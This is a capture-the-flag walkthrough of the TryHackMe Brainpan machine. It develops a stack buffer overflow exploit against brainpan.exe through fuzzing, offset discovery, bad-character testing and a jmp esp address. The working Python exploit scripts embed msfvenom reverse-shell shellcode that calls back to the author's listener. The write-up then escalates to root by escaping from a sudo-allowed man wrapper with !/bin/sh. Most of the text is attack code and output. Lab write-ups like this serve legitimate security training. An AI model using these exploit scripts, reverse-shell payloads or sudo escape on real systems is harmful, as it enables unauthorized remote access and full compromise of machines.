Brainpan
Wrote buffer overflow exploit for shell
Link
Process
Welcome to my Brainpan walkthrough. This is the TryHackMe version. First step to perform is running nmap to know what ports are open.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ nmap -sV -sC -A -O -oN nmap 10.10.157.16 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 13:33 AEDT Nmap scan report for 10.10.157.16 Host is up (0.25s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 9999/tcp open abyss? | fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _| | _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| | [________________________ WELCOME TO BRAINPAN _________________________] |_ ENTER THE PASSWORD 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3) |_http-server-header: SimpleHTTP/0.6 Python/2.7.3 <spin>
Reviewing the results, there are only two ports open. Using nc connect to port 9999. It prompts for a password and then gives an access denied.
┌──(sec㉿kali)-[~/Documents/thm/brainpan]
└─$ nc 10.10.157.16 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> dfsf
ACCESS DENIED
Navigating to the webserver, there is only a png file there. So, run gobuster and review the results. Notice the /bin folder.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ gobuster dir -u http://10.10.157.16:10000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.157.16:10000 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /bin (Status: 301) [Size: 0] [--> /bin/] Progress: 2847 / 220561 (1.29%)^C [!] Keyboard interrupt detected, terminating. Progress: 2855 / 220561 (1.29%) =============================================================== Finished ===============================================================
Navigate to the bin folder and notice the brainpan.exe.
Feel free to wget and download it.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ wget http://10.10.157.16:10000/bin/brainpan.exe --2025-01-03 13:42:17-- http://10.10.157.16:10000/bin/brainpan.exe Connecting to 10.10.157.16:10000... connected. HTTP request sent, awaiting response... 200 OK Length: 21190 (21K) [application/x-msdos-program] Saving to: ‘brainpan.exe’ brainpan.exe 100%[========================================================================================================================================>] 20.69K 74.7KB/s in 0.3s 2025-01-03 13:42:18 (74.7 KB/s) - ‘brainpan.exe’ saved [21190/21190]
Spin up a python web server so we can transfer it to another windows machine for testing.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ python3 -m 'http.server' Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Transfer the executable to a Windows machine running Windbg with the narly extension installed.
In Windbg, open the executable.
Use g to start running the program.
Check the IP address of the Windows machine.
Create a python that creates a socket connection with the service and sends a passwords. Duplicates “normal” behaviour.
import socket ip = '10.0.0.11' port = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,port)) print(s.recv(1024)) s.send(b'password\r\n') print(s.recv(1024)) s.close()
Update the python code to fuzz the password field with an ever-increasing payload to determine the breaking point.
import socket
ip = '10.0.0.11'
port = 9999
buffers = [b'A']
counter = 100
while len(buffers) < 50:
buffers.append(b'A' * counter)
counter += 200
for inputBuffer in buffers:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
Check the run to see the number of characters that hanged the program.
Check the EIP register in Windbg to ensure that the 41s overwrote the value in EIP.
Reset the executable and set it to go again.
Update the python code to hard code the buffer size and increase the size to fit the payload.
import socket
ip = '10.0.0.11'
port = 9999
inputBuffer = b'A' * 1100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
Run the code again, check eip, ensure the it is still filled with 41s. Sometime, when the buffer size is changed, it changes the program execution.
Check the ESP register to ensure that the A character overflows into ESP.
Use msf-pattern_create to generate a unique pattern to help assist in determining the offset of the EIP register.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ msf-pattern_create -l 1100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
Update the python code with the pattern that was just generated.
import socket
ip = '10.0.0.11'
port = 9999
# inputBuffer = b'A' * 1100
inputBuffer = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
Execute the code, check the EIP register, and note the value that is located there.
Use msf-pattern_offset to determine the exact offset value of the EIP register.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ msf-pattern_offset -l 1100 -q 35724134 [*] Exact match at offset 524
Update the code to split the buffer string into three separate parts. The first part will be As up until the offset, Bs for 4, and Cs to pad out the rest of the buffer size.
import socket
ip = '10.0.0.11'
port = 9999
inputBuffer = b'A' * 524
inputBuffer += b'B' * 4
inputBuffer += b'C' * (1100 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
Run the code again. Check the EIP register and ensure that our 42s are in the EIP register.
Check the ESP and the four bytes prior. The four prior bytes should be 42s from our EIP. This would mean that the ESP sits right next to the EIP register.
Time to determine the bad characters. Update the code with all of the bad characters except 00, the null byte. The null byte is overwhelmingly often a bad character.
import socket
ip = '10.0.0.11'
port = 9999
# baddies = \x00
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
inputBuffer = b'A' * 524
inputBuffer += b'B' * 4
inputBuffer += badchars
inputBuffer += b'C' * (1100 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
Run the code. Check the ESP register and check the characters in the payload. All the characters from the hex list should be in the ESP. If there is any drop off, remove that character, send the payload again, and repeat until all the characters appear in ESP.
Update the code to import pack and give a space for the payload.
import socket
from struct import pack
ip = '10.0.0.11'
port = 9999
#baddies = \x00
payload = (
b'D' * 400
)
inputBuffer = b'A' * 524
inputBuffer += b'B' * 4
inputBuffer += payload
inputBuffer += b'C' * (1100 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
In Windbg, load the narly extension.
Run the !nmod to load all of the various modules and their associated protections. Choose a module that does not have any bad chars in the address space, does not have DEP enabled, and does not have ASLR enabled. Preference is always given to modules that ship with the program due to portability. If a Windows module is chosen, the exploit is Windows version dependent. For this, note the brainpan.exe address range.
Use msf-nasm_shell to determine the hexadecimal opcodes for the jmp esp assembly command.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ msf-nasm_shell nasm > jmp esp 00000000 FFE4 jmp esp
Search in Windbg for a jmp esp memory address.
Update the python script with the address of jmp.
import socket
from struct import pack
ip = '10.0.0.11'
port = 9999
#baddies = \x00
payload = (
b'D' * 400
)
inputBuffer = b'A' * 524
inputBuffer += pack('<L',(0x311712f3))
inputBuffer += payload
inputBuffer += b'C' * (1100 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
Set up a breakpoint in Windbg at the jmp esp address.
Run the code and check Windbg to see if the breakpoint tripped.
Step the code one more time and it should lead into the esp and the Ds payload that was set up.
Use msfvenom to generate a payload.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.12 LPORT=443 ExitFunc=thread -b "\x00" -f python -v payload [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1899 bytes payload = b"" payload += b"\xda\xcf\xbb\xb2\x1e\xd7\x41\xd9\x74\x24\xf4" payload += b"\x5f\x31\xc9\xb1\x52\x31\x5f\x17\x03\x5f\x17" payload += b"\x83\x75\x1a\x35\xb4\x85\xcb\x3b\x37\x75\x0c" payload += b"\x5c\xb1\x90\x3d\x5c\xa5\xd1\x6e\x6c\xad\xb7" payload += b"\x82\x07\xe3\x23\x10\x65\x2c\x44\x91\xc0\x0a" payload += b"\x6b\x22\x78\x6e\xea\xa0\x83\xa3\xcc\x99\x4b" payload += b"\xb6\x0d\xdd\xb6\x3b\x5f\xb6\xbd\xee\x4f\xb3" payload += b"\x88\x32\xe4\x8f\x1d\x33\x19\x47\x1f\x12\x8c" payload += b"\xd3\x46\xb4\x2f\x37\xf3\xfd\x37\x54\x3e\xb7" payload += b"\xcc\xae\xb4\x46\x04\xff\x35\xe4\x69\xcf\xc7" payload += b"\xf4\xae\xe8\x37\x83\xc6\x0a\xc5\x94\x1d\x70" payload += b"\x11\x10\x85\xd2\xd2\x82\x61\xe2\x37\x54\xe2" payload += b"\xe8\xfc\x12\xac\xec\x03\xf6\xc7\x09\x8f\xf9" payload += b"\x07\x98\xcb\xdd\x83\xc0\x88\x7c\x92\xac\x7f" payload += b"\x80\xc4\x0e\xdf\x24\x8f\xa3\x34\x55\xd2\xab" payload += b"\xf9\x54\xec\x2b\x96\xef\x9f\x19\x39\x44\x37" payload += b"\x12\xb2\x42\xc0\x55\xe9\x33\x5e\xa8\x12\x44" payload += b"\x77\x6f\x46\x14\xef\x46\xe7\xff\xef\x67\x32" payload += b"\xaf\xbf\xc7\xed\x10\x6f\xa8\x5d\xf9\x65\x27" payload += b"\x81\x19\x86\xed\xaa\xb0\x7d\x66\xdf\x44\x7d" payload += b"\x7a\xb7\x46\x7d\x83\xfc\xce\x9b\xe9\x12\x87" payload += b"\x34\x86\x8b\x82\xce\x37\x53\x19\xab\x78\xdf" payload += b"\xae\x4c\x36\x28\xda\x5e\xaf\xd8\x91\x3c\x66" payload += b"\xe6\x0f\x28\xe4\x75\xd4\xa8\x63\x66\x43\xff" payload += b"\x24\x58\x9a\x95\xd8\xc3\x34\x8b\x20\x95\x7f" payload += b"\x0f\xff\x66\x81\x8e\x72\xd2\xa5\x80\x4a\xdb" payload += b"\xe1\xf4\x02\x8a\xbf\xa2\xe4\x64\x0e\x1c\xbf" payload += b"\xdb\xd8\xc8\x46\x10\xdb\x8e\x46\x7d\xad\x6e" payload += b"\xf6\x28\xe8\x91\x37\xbd\xfc\xea\x25\x5d\x02" payload += b"\x21\xee\x7d\xe1\xe3\x1b\x16\xbc\x66\xa6\x7b" payload += b"\x3f\x5d\xe5\x85\xbc\x57\x96\x71\xdc\x12\x93" payload += b"\x3e\x5a\xcf\xe9\x2f\x0f\xef\x5e\x4f\x1a"
Update the code with the payload that was just generated. Also use a nopsled to lead into the payload.
import socket
from struct import pack
ip = '10.0.0.11'
port = 9999
#baddies = \x00
payload = b""
payload += b"\xda\xcf\xbb\xb2\x1e\xd7\x41\xd9\x74\x24\xf4"
payload += b"\x5f\x31\xc9\xb1\x52\x31\x5f\x17\x03\x5f\x17"
payload += b"\x83\x75\x1a\x35\xb4\x85\xcb\x3b\x37\x75\x0c"
payload += b"\x5c\xb1\x90\x3d\x5c\xa5\xd1\x6e\x6c\xad\xb7"
payload += b"\x82\x07\xe3\x23\x10\x65\x2c\x44\x91\xc0\x0a"
payload += b"\x6b\x22\x78\x6e\xea\xa0\x83\xa3\xcc\x99\x4b"
payload += b"\xb6\x0d\xdd\xb6\x3b\x5f\xb6\xbd\xee\x4f\xb3"
payload += b"\x88\x32\xe4\x8f\x1d\x33\x19\x47\x1f\x12\x8c"
payload += b"\xd3\x46\xb4\x2f\x37\xf3\xfd\x37\x54\x3e\xb7"
payload += b"\xcc\xae\xb4\x46\x04\xff\x35\xe4\x69\xcf\xc7"
payload += b"\xf4\xae\xe8\x37\x83\xc6\x0a\xc5\x94\x1d\x70"
payload += b"\x11\x10\x85\xd2\xd2\x82\x61\xe2\x37\x54\xe2"
payload += b"\xe8\xfc\x12\xac\xec\x03\xf6\xc7\x09\x8f\xf9"
payload += b"\x07\x98\xcb\xdd\x83\xc0\x88\x7c\x92\xac\x7f"
payload += b"\x80\xc4\x0e\xdf\x24\x8f\xa3\x34\x55\xd2\xab"
payload += b"\xf9\x54\xec\x2b\x96\xef\x9f\x19\x39\x44\x37"
payload += b"\x12\xb2\x42\xc0\x55\xe9\x33\x5e\xa8\x12\x44"
payload += b"\x77\x6f\x46\x14\xef\x46\xe7\xff\xef\x67\x32"
payload += b"\xaf\xbf\xc7\xed\x10\x6f\xa8\x5d\xf9\x65\x27"
payload += b"\x81\x19\x86\xed\xaa\xb0\x7d\x66\xdf\x44\x7d"
payload += b"\x7a\xb7\x46\x7d\x83\xfc\xce\x9b\xe9\x12\x87"
payload += b"\x34\x86\x8b\x82\xce\x37\x53\x19\xab\x78\xdf"
payload += b"\xae\x4c\x36\x28\xda\x5e\xaf\xd8\x91\x3c\x66"
payload += b"\xe6\x0f\x28\xe4\x75\xd4\xa8\x63\x66\x43\xff"
payload += b"\x24\x58\x9a\x95\xd8\xc3\x34\x8b\x20\x95\x7f"
payload += b"\x0f\xff\x66\x81\x8e\x72\xd2\xa5\x80\x4a\xdb"
payload += b"\xe1\xf4\x02\x8a\xbf\xa2\xe4\x64\x0e\x1c\xbf"
payload += b"\xdb\xd8\xc8\x46\x10\xdb\x8e\x46\x7d\xad\x6e"
payload += b"\xf6\x28\xe8\x91\x37\xbd\xfc\xea\x25\x5d\x02"
payload += b"\x21\xee\x7d\xe1\xe3\x1b\x16\xbc\x66\xa6\x7b"
payload += b"\x3f\x5d\xe5\x85\xbc\x57\x96\x71\xdc\x12\x93"
payload += b"\x3e\x5a\xcf\xe9\x2f\x0f\xef\x5e\x4f\x1a"
inputBuffer = b'A' * 524
inputBuffer += pack('<L',(0x311712f3))
inputBuffer += b'\x90' * 16
inputBuffer += payload
inputBuffer += b'C' * (1100 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
Start a netcat listener that listens on port 443.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ sudo nc -nlvp 443 [sudo] password for sec: listening on [any] 443 ...
Run the code and check the listener to see the shell.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ sudo nc -nlvp 443 [sudo] password for sec: listening on [any] 443 ... connect to [10.0.0.12] from (UNKNOWN) [10.0.0.11] 49682
Microsoft Windows [Version 10.0.19045.5247] (c) Microsoft Corporation. All rights reserved. C:\Program Files (x86)\Windows Kits\10\Debuggers>whoami whoami desktop-8pbgp5f\win
Double-check the nmap notice that operating system is likely to be linux.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ nmap -sV -sC -A -O -oN nmap 10.10.157.16 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 13:33 AEDT <snip> Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Android 4.1.1 (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Linux 2.6.32 (93%), Linux 3.0 - 3.2 (93%), Linux 3.0 - 3.5 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 4 hops <snip>
Generate a new msfvenom payload for Linux.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.4.118.138 LPORT=443 ExitFunc=thread -b "\x00" -f python -v payload [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of python file: 530 bytes payload = b"" payload += b"\xdb\xde\xbb\xd7\x23\x22\xf1\xd9\x74\x24\xf4" payload += b"\x5a\x33\xc9\xb1\x12\x31\x5a\x17\x03\x5a\x17" payload += b"\x83\x15\x27\xc0\x04\xa8\xf3\xf3\x04\x99\x40" payload += b"\xaf\xa0\x1f\xce\xae\x85\x79\x1d\xb0\x75\xdc" payload += b"\x2d\x8e\xb4\x5e\x04\x88\xbf\x36\x9d\x6e\x36" payload += b"\x4c\xc9\x6c\xb6\x51\xb1\xf8\x57\xe1\xa3\xaa" payload += b"\xc6\x52\x9f\x48\x60\xb5\x12\xce\x20\x5d\xc3" payload += b"\xe0\xb7\xf5\x73\xd0\x18\x67\xed\xa7\x84\x35" payload += b"\xbe\x3e\xab\x09\x4b\x8c\xac"
Update the code with the new payload and update the IP address to point to the THM IP.
import socket
from struct import pack
ip = '10.10.47.78'
port = 9999
#baddies = \x00
payload = b""
payload += b"\xdb\xde\xbb\xd7\x23\x22\xf1\xd9\x74\x24\xf4"
payload += b"\x5a\x33\xc9\xb1\x12\x31\x5a\x17\x03\x5a\x17"
payload += b"\x83\x15\x27\xc0\x04\xa8\xf3\xf3\x04\x99\x40"
payload += b"\xaf\xa0\x1f\xce\xae\x85\x79\x1d\xb0\x75\xdc"
payload += b"\x2d\x8e\xb4\x5e\x04\x88\xbf\x36\x9d\x6e\x36"
payload += b"\x4c\xc9\x6c\xb6\x51\xb1\xf8\x57\xe1\xa3\xaa"
payload += b"\xc6\x52\x9f\x48\x60\xb5\x12\xce\x20\x5d\xc3"
payload += b"\xe0\xb7\xf5\x73\xd0\x18\x67\xed\xa7\x84\x35"
payload += b"\xbe\x3e\xab\x09\x4b\x8c\xac"
inputBuffer = b'A' * 524
inputBuffer += pack('<L',(0x311712f3))
inputBuffer += b'\x90' * 16
inputBuffer += payload
inputBuffer += b'C' * (1100 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.recv(1024)
print('[*] Sending: {size}\n'.format(size=len(inputBuffer)))
s.sendall(inputBuffer + b'\r\n')
s.close()
Kill the other listener if it is still running with ctrl + c. Start a new listener on port 443.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ sudo nc -nlvp 443 listening on [any] 443 ...
Run the code, check the listener, and catch the shell.
┌──(sec㉿kali)-[~/Documents/thm/brainpan] └─$ sudo nc -nlvp 443 listening on [any] 443 ... connect to [10.4.118.138] from (UNKNOWN) [10.10.249.157] 54657 whoami puck
Upgrade the shell by spawning another shell with python.
python3 -c 'import pty; pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$
Run sudo -l to see a list of all of the command the user is permitted to use as root.
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
Run the anansi_util program that was discovered.
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util sudo /home/anansi/bin/anansi_util Usage: /home/anansi/bin/anansi_util [action] Where [action] is one of: - network - proclist - manual [command]
Run the anansi_util with the manual option to see what it does.
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual ls
sudo /home/anansi/bin/anansi_util manual ls
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)
LS(1) User Commands LS(1)
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]...
DESCRIPTION
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is speci‐
fied.
Mandatory arguments to long options are mandatory for short options
too.
-a, --all
do not ignore entries starting with .
-A, --almost-all
do not list implied . and ..
--author
Manual page ls(1) line 1 (press h for help or q to quit)q
Now, that it is known that it calls the man command, lookup man on the gtfobins.
Use the command again with sudo to drop into the manual. Then, use !/bin/sh to drop into a root shell.
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual man
sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)
MAN(1) Manual pager utils MAN(1)
NAME
man - an interface to the on-line reference manuals
SYNOPSIS
man [-C file] [-d] [-D] [--warnings[=warnings]] [-R encoding] [-L
locale] [-m system[,...]] [-M path] [-S list] [-e extension] [-i|-I]
[--regex|--wildcard] [--names-only] [-a] [-u] [--no-subpages] [-P
pager] [-r prompt] [-7] [-E encoding] [--no-hyphenation] [--no-justifi‐
cation] [-p string] [-t] [-T[device]] [-H[browser]] [-X[dpi]] [-Z]
[[section] page ...] ...
man -k [apropos options] regexp ...
man -K [-w|-W] [-S list] [-i|-I] [--regex] [section] term ...
man -f [whatis options] page ...
man -l [-C file] [-d] [-D] [--warnings[=warnings]] [-R encoding] [-L
locale] [-P pager] [-r prompt] [-7] [-E encoding] [-p string] [-t]
[-T[device]] [-H[browser]] [-X[dpi]] [-Z] file ...
man -w|-W [-C file] [-d] [-D] page ...
man -c [-C file] [-d] [-D] page ...
man [-hV]
DESCRIPTION
Manual page man(1) line 1 (press h for help or q to quit)!/bin/sh
!/bin/sh
# whoami
whoami
root
Now with root access, nick the root trophy.
Thank you so much for reading.